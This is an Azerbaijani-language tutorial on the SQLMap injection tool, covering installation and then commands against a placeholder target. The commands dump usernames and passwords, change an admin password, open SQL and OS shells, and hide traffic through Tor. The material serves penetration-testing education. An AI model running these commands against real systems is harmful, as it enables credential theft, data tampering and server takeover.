SQLMap: Avtomatlaşdırılmış SQL Injection Aləti
Giriş
SQLMap açıq mənbəli, güclü və avtomatlaşdırılmış SQL Injection test alətidir. Bu alət penetrasiya testçiləri, etik hakerlər və təhlükəsizlik mütəxəssisləri tərəfindən veb tətbiqlərindəki SQL Injection zəifliklərini aşkar etmək və istismar etmək üçün istifadə olunur. SQLMap avtomatik olaraq verilənlər bazasının tipini müəyyənləşdirir, məlumat çıxarır, istifadəçi və parolları əldə edir, hətta sistemdə komanda icra etməyə imkan yaradır.
1. SQLMap-in Yüklənməsi və Quraşdırılması
SQLMap Python dili ilə yazılmışdır və Linux, Windows və macOS sistemlərində işləyir. Qurulma prosesini fərqli əməliyyat sistemləri üçün aşağıda izah edirik.
1.1. Linux və macOS Üzərində Quraşdırma
Əgər Kali Linux və ya digər Debian əsaslı bir sistem istifadə edirsinizsə, SQLMap artıq quraşdırılmış ola bilər. Onu yoxlamaq üçün aşağıdakı əmri icra edin:
sqlmap --version
Əgər SQLMap sisteminizdə yoxdursa, onu quraşdırmaq üçün:
sudo apt update
sudo apt install sqlmap
Ən son versiyanı GitHub-dan çəkmək üçün:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
İstifadə etmək üçün:
python3 sqlmap.py --help
1.2. Windows Üzərində Quraşdırma
Windows üçün əvvəlcə Python 3 quraşdırılmalıdır. Daha sonra:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --help
Bununla SQLMap istifadəyə hazır olacaq.
2. SQLMap-in İstifadəsi
SQLMap sadə sintaksisə malikdir:
sqlmap -u "http://target.com/index.php?id=1" --batch
Burada:
-u
→ SQL Injection testi aparılacaq URL-i göstərir.--batch
→ Avtomatik rejimdə (istifadəçidən təsdiq istəmədən) işləyir.
2.1. SQL Injection Aşkarlanması
Sadə SQL Injection yoxlanışı üçün:
sqlmap -u "http://target.com/index.php?id=1" --dbs
Burada --dbs
verilənlər bazalarının siyahısını çıxarmaq üçün istifadə olunur.
3. Əsas İstismar Funksiyaları
3.1. Verilənlər Bazası Adlarının Çıxarılması
Saytın hansı verilənlər bazası mühərrikindən istifadə etdiyini öyrənmək üçün:
sqlmap -u "http://target.com/index.php?id=1" --dbs
3.2. Cədvəl Adlarının Çıxarılması
Hədəf verilənlər bazasının cədvəllərini çıxarmaq üçün:
sqlmap -u "http://target.com/index.php?id=1" -D target_db --tables
Burada:
-D target_db
→ Hədəf verilənlər bazasının adını göstərir.--tables
→ Mövcud cədvəlləri göstərir.
3.3. Sütun Adlarını Tapmaq
Müəyyən bir cədvəldə olan sütunları görmək üçün:
sqlmap -u "http://target.com/index.php?id=1" -D target_db -T users --columns
Burada:
-T users
→users
adlı cədvəli göstərir.--columns
→ Sütunların adlarını göstərir.
3.4. Məlumatların Çıxarılması
İstifadəçi adları və parollarını əldə etmək üçün:
sqlmap -u "http://target.com/index.php?id=1" -D target_db -T users -C username,password --dump
Burada:
-C username,password
→ Yalnızusername
vəpassword
sütunlarını çıxarmaq üçündür.--dump
→ Məlumatların çıxarılması əməliyyatını icra edir.
3.5. Verilənlər Bazasında Yazı Dəyişdirmək (Update, Delete, Insert)
Əgər serverdə yazma icazəsi varsa, SQLMap-dən istifadə edərək verilənləri dəyişmək mümkündür.
Məsələn, bir istifadəçinin şifrəsini dəyişmək üçün:
sqlmap -u "http://target.com/index.php?id=1" -D target_db -T users --sql-query="UPDATE users SET password='newpass' WHERE username='admin'"
4. Sistemə Giriş və Komanda İcra Etmək
SQLMap yalnız SQL Injection zəifliklərini aşkar etmir, eyni zamanda serverdə shell əldə etmək və sistem komandaları icra etmək imkanını da yaradır.
4.1. Shell Əldə Etmək (İnteraktiv SQL Konsolu Açmaq)
Əgər verilənlər bazasına giriş imkanı varsa, SQL shell əldə etmək mümkündür:
sqlmap -u "http://target.com/index.php?id=1" --sql-shell
Bu, birbaşa verilənlər bazasına sorğular göndərməyə imkan verir.
4.2. Sistem Komandaları İcra Etmək
Əgər verilənlər bazası administrator hüquqları ilə işləyirsə, sistemdə komanda icra etmək mümkündür:
sqlmap -u "http://target.com/index.php?id=1" --os-shell
Bu əmrlə SQLMap serverdə terminal açaraq sistem əmrlərini icra etməyə imkan yaradır.
5. SQLMap-in Digər Funksiyaları
SQLMap müxtəlif xüsusiyyətlərə malikdir:
✔ Bütün əsas verilənlər bazalarını dəstəkləyir (MySQL, PostgreSQL, Oracle, MSSQL və s.).
✔ Dərin testlər aparır (error-based, boolean-based, time-based, UNION-based və s.).
✔ Tor və Proksi Dəstəyi var (anonim testlər aparmaq üçün).
✔ Daha effektiv və sürətli işləmək üçün multi-threading istifadə edir.
✔ Bash və Python skriptlərinə inteqrasiya edilə bilir.
6. SQLMap-i Proxy və Tor ilə İşlətmək
Əgər anonimliyi qorumaq və testləri gizli aparmaq istəyirsinizsə, SQLMap-i Tor və ya proxy ilə işlədə bilərsiniz.
Tor istifadə edərək SQLMap işə salmaq:
sqlmap -u "http://target.com/index.php?id=1" --tor --check-tor
Və ya xüsusi bir proxy serverdən istifadə etmək üçün:
sqlmap -u "http://target.com/index.php?id=1" --proxy="http://127.0.0.1:8080"
7. Nəticə
SQLMap, penetrasiya testləri üçün ən güclü SQL Injection alətlərindən biridir. Avtomatlaşdırılmış funksiyaları, geniş verilənlər bazası dəstəyi və təhlükəsizlik testlərindəki effektivliyi ilə kibertəhlükəsizlik sahəsində ən çox istifadə olunan alətlərdən biridir.
Daha çox məlumat üçün rəsmi GitHub səhifəsinə baxa bilərsiniz:
🔗 https://github.com/sqlmapproject/sqlmap